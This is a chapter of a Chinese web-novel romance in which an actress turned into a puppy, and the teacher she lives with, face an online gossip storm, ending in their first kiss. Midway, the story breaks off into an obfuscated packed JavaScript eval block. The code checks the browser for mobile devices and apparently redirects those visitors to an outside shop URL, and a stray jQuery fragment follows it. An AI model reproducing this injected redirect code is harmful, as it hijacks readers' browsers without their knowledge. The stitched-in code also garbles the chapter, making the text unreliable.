38. 我要狠狠地亲你的嘴巴

作品:《快使用双截棍

    “下雨了。”


    尼莫扭身吐出两个泡泡。


    夏焰听到它的话缓缓看向窗外,铺天盖地的黑。


    她推开窗户,毛毛细雨,针一样刺向她的眼睛,眨眼间失手从窗台上跌落。


    咚地一下摔在桌面上。


    她仰头和鱼缸里的尼莫对视。


    “你听见雨声了吗?”


    尼莫摇摇头,针一样的雨滴落下是无声无息的。


    它从水面沉到水底,又从水底漂到水面,它说:“我感受到了。”


    “什么感觉?”


    “没法说,如果你在水里生活,你就能感受到。”


    她出生在人世间,体会到另一种感觉。


    连绵不断,斩不断,理还乱。


    分不清是恶劣天气带来的低气压让她喘不过来气,还是两人一路上的沉默更让她无措。


    林砚之就像无事发生一样,平静地转动方向盘,带她驶离一个个错综复杂的十字路口。


    现在他站在厨房门口举着一把芹菜,问她想不想喝芹菜汁。


    夏焰趴在鱼缸旁边不说话。


    “那就给你做个凉拌西红柿好了。”


    他自顾自地说着,低头系上围裙,拉上厨房门。


    夏焰从鱼缸桌上跳下来,跳到电视柜旁,踮着脚踩着林砚之的教材书拉开抽屉,把手机拿出来。


    林砚之的手机被他自己拿着,不给她用。


    她只好拿回自己的手机。


    小狗没法把手表里的电话卡重新塞回手机卡槽,没法打电话。但是连上了林砚之家里的无线网,她一打开手机,各种讯息铺天盖地飞来,把屏幕占得满满当当不留一丝缝隙。


    手机卡顿了两分钟才恢复正常。


    夏焰心跳如鼓,不敢点进跳的最疯狂的微博,她不敢想会收到什么留言评论。


    平日里名不见传,夸她的少有,骂她的更少,没人在乎她,也就没人评价她。


    她像被开水烫到一样,下意识挪开手指,没有立即点击软件,跳转到微信。


    令她惊讶的是居然没有人给她发微信,她不可置信地从头划到尾,退出又重进,重新刷新。


    只有妈妈给她留言,叫夏焰给她回电话,时间是几个小时前,估计是和短信一起发送的。


    沈盛没有给她留言,直接打来了电话。


    “这段时间公司接管你的账号,帮你发照片,谁知道把你发给我的那张自拍照也传上去了。”


    “不知道谁买的营销号,扒出来林砚之的账号,非说你们俩已经同居了,一起养狗。”


    “疯了!一群疯子!你一共才几个粉丝,居然也能造这么大势。”


    “从上到下给你骂透了,最先说你未婚就和男人同居。现在被不知道哪冒出来的一方引导网友,说和别人同居这事只是个名头,真正有意思的还在后头。”


    “招谁惹谁了?你能惹到谁啊?”


    “邹城?他的粉丝是在评论底下跳脚,骂你故意和他捆绑,但恐怕幕后黑手不是他,你们俩的电影还没上映,把你搞垮了,他也有损失,得不偿失。”


    “你?先待着吧,公司上面的意思是有热度总比没有强。”


    “行了,电话联系。”


    电话挂断了。


    夏焰手里的电话总是被单方面挂断。


    沈盛已经讲得够多够仔细的了。


    她已经清楚了事情的来龙去脉,她知道这时候应该开启自我防御,不要掉进舆论陷阱。


    她还是无法当做什么都没有看到。


    以为会收到谩骂侮辱,在心里想象会看到的词汇,其实都没有出现。


    绝大多数人抱着吃瓜的心态在她的微博评论区里一轮游,只是为了听八卦,在这里面的大部分其实根本不认识她,默默地在评论底下发出一句疑问:“谁啊?”


    “她到底是谁啊?”


    “惹到哪位大佬了,要这么搞她?”


    只有一小部分浑水摸鱼,在私信里骂她,大部分顶着邹城的头像。


    夏焰气笑了。


    空降热搜榜第一,籍籍无名的小演员,在周五的晚上,最佳的休闲时间。


    像是在众人回家的路上突然出现一个巨型气球,颜色鲜红,引人瞩目,上面用白颜料写着四个大字:世界末日。大家纷纷驻足,想要一探究竟,掏出手机,要记录下这一刻,等他们拿出手机,镜头不断放大,才发现这是一个辣条广告牌,上面还印着老板的大头照。


    失望又气愤,大叫一声:“这啥啊!”


    但他们又不会立马离开,因为有人留下线索,稍后更精彩。


    无论接下来出现什么,他们都乐意一看,毕竟在回家的路上也需要消遣。


    夏焰和他们一样不清楚接下来会出现什么。


    她也只有等待。


    林砚之洗了碗,拖了地,还把夏焰所有的马甲外套都洗了一遍。


    夏焰很想告诉他明天还是个阴天,衣服晾不干,会有霉味。


    她知道就算他能听懂,此时也不会停下动作,他要一直工作,才能正常运作,现在不停做家务,也只是为了掩盖内心的焦躁。


    洗衣机再次启动,阳台上挂满了衣服,林砚之还在不停弯腰从地上的盆里拿出衣服往上面挂。


    夏焰走到他的脚边,抱住脚踝坐在他的脚面上。


    他停下动作,手里的湿衣服从衣架上重新掉回盆里。


    他在裤子两侧擦干手,把夏焰抱起。


    他笑着问她:“困了吗?”


    客厅墙上的时钟已经指到九点。


    “睡觉吧。睡一觉什么都好了。”


    林砚之端来一盆热水,蹲在夏焰面前拉过她的手,用毛巾一点点蹭她的眼角,给她把手脚都擦干净,抱她上床。


    他给夏焰盖好被子,叫她乖乖先睡,他去洗漱。


    “睡吧,睡醒什么都好了。”


    他轻声安慰,殊不知他的心是悬的,说的话听起来也是空的。


    他转身走进浴室。


    夏焰见他离开,立即从床上爬起,翻开他挂在衣架上的外套,从口袋里拿出他的手机。


    一边听着他的动静一边快速打开手机。


    点进他的账号,冲出来的红点提示不比她的少。


    同样的,评论区大部分都是吃瓜群众,热评第一居然是他的学生。


    “我靠,这不是我老师吗?”


    “别赞了,没啥说的,老师人很好,上学期捞我了。”


    他的评论区还有部分人在夸他长得好看。


    “像金城武,比明星还明星。”


    “照骗你也信?”


    “见过本人!金城武本武!”


    夏焰眼皮一跳,看到了熟悉的名字,阿飞和阿强。


    她松口气,还好舆论不是一边倒。她把他露脸的照片删除了,即使已经于事无补,最后帮他开了一键防护。


    在她完全关闭评论前收到了最后一条私信,是个男人发来的。


    他说:“大学老师就能睡到女明星了?”


    文字在她的脑袋里出现语音语调,还有说话人扭曲的嘴脸,狎昵的笑。她的手不住颤抖,点进他的主页,发现他在之前就给林砚之发过私信,几次询问想要小狗的近距离照片。


    林砚之置之不理,他却锲而不舍,隔段时间就来骚扰一下林砚之。


    彻底拉黑这个人。告诉自己就当从没看到。


    她要怎样骗过自己,安抚自己的大脑,告诉它自己从未受伤。


    夏焰侧躺在床上。


    告诉自己:


    睡吧。


    睡吧。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056019|191705||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>醒来就没事了。


    其实只是做梦而已。


    做梦,像爱丽丝一样做了一场梦。


    她很久没听着爱丽丝的故事入睡了,以为再也不用靠别人的梦入眠。


    但是今天失败了。


    小小的夏焰曾经轻轻拍着自己胳膊哄自己入睡。


    现在的夏焰在脑袋里重演《爱丽丝梦游仙境》,给自己讲睡前故事。


    “来不及了!来不及了!”


    她穿过草丛,紧跟着兔子先生,脚下的皮鞋踩在石子路上发出啪叽声。


    “来不及了!”


    兔子先生消失了。


    她一脚踩空,掉进兔子洞,在坠落的过程中不停地翻转身体,失重感让她心脏骤停。


    “来不及了!”


    她猛然惊醒。


    林砚之关门的声音。


    夏焰还没缓过神来,下意识就跟上他的脚步。


    他走到阳台接通电话。


    夏焰坐在阳台门外放着的水竹旁边,高高的水竹挡住她的身体。


    “什么叫不需要?”


    林砚之声音里带着几分愠怒。


    不等对面说话,他接着说:“就任由他们给她造谣?”


    他的小臂肌肉绷紧,用力捏紧栏杆,像是捏在夏焰的心上,阵阵酸痛。


    他重复电话那头的回应:“什么最重要?”


    夏焰听不清电话那头的声音,即使是在这样安静的夜晚,只能听见她的心跳声。


    扑通、扑通。


    短跑运动员站在各自的起跑线上,深呼吸,心跳加速,只等枪响。


    砰!


    林砚之用尽全身力气狠狠砸向栏杆,震得栏杆嗡嗡作响,几秒才停下共振。


    “没有什么比她更重要!”


    他的声音在整个屋子里回荡,碰撞。


    夏焰的爪子抓在水竹盆边沿,寒气透进她的骨肉,让她发颤。


    “明天一早我去找你们,我来澄清,这不是她的工作,她的工作是拍电影。”


    “就这样。”


    林砚之把阳台窗户推开,寒风凛冽,他就这么站在原地,身姿挺拔,岿然不动。


    直到彻底平静下来才走出阳台,他一转身就看到坐在水竹旁的夏焰,微微愣神。


    他扯开嘴角,想让表情不那么狰狞吓人,伸手把她抱起。


    “什么时候来的?我身上凉不凉?快到被子里去。”


    他扯过被子为她盖上,又把空调温度调高。


    双手来回揉搓,直到恢复正常温度才摸摸夏焰的脑袋。


    “睡吧,明天睡醒带你去吃汉堡,一觉睡醒什么都好了。”


    “很晚了,我也睡,你闭上眼睛。”


    林砚之手伸过来,夏焰顺从地闭上眼睛,听着他的呼吸声渐渐平稳,她重新睁开眼睛。


    看着他的侧脸,她的五脏六腑都在抽泣,唯独她的眼睛已经哭不出泪来。


    “你错了呀,这不是你的工作,分明属于我。”


    又或许他们之间早已分不清你我,你是我的,我也是你的。


    “这是我要去做的,我必须要做的,我能做好的。”


    “你信不信我?”


    夏焰用她冰凉的手指轻碰他的鼻尖,他身上微凉,呼出的气息却是烫人的。


    夏焰靠近他的嘴唇,几乎要被他吐出的气息灼烧。


    柔软的唇贴着同样柔软的唇,属于他们的第一个吻。


    她的嘴唇向下挪动一分,亲吻那颗藏在夜里的痣。


    这次她不贪恋,慢慢起身,她要去解决她的困难,完成她的工作。


    又是在一个夜里,她悄悄推开卧室门,准备离开。


    却听到身后人起身的动静,他说:


    “外面下雨了,让我送你去吧。”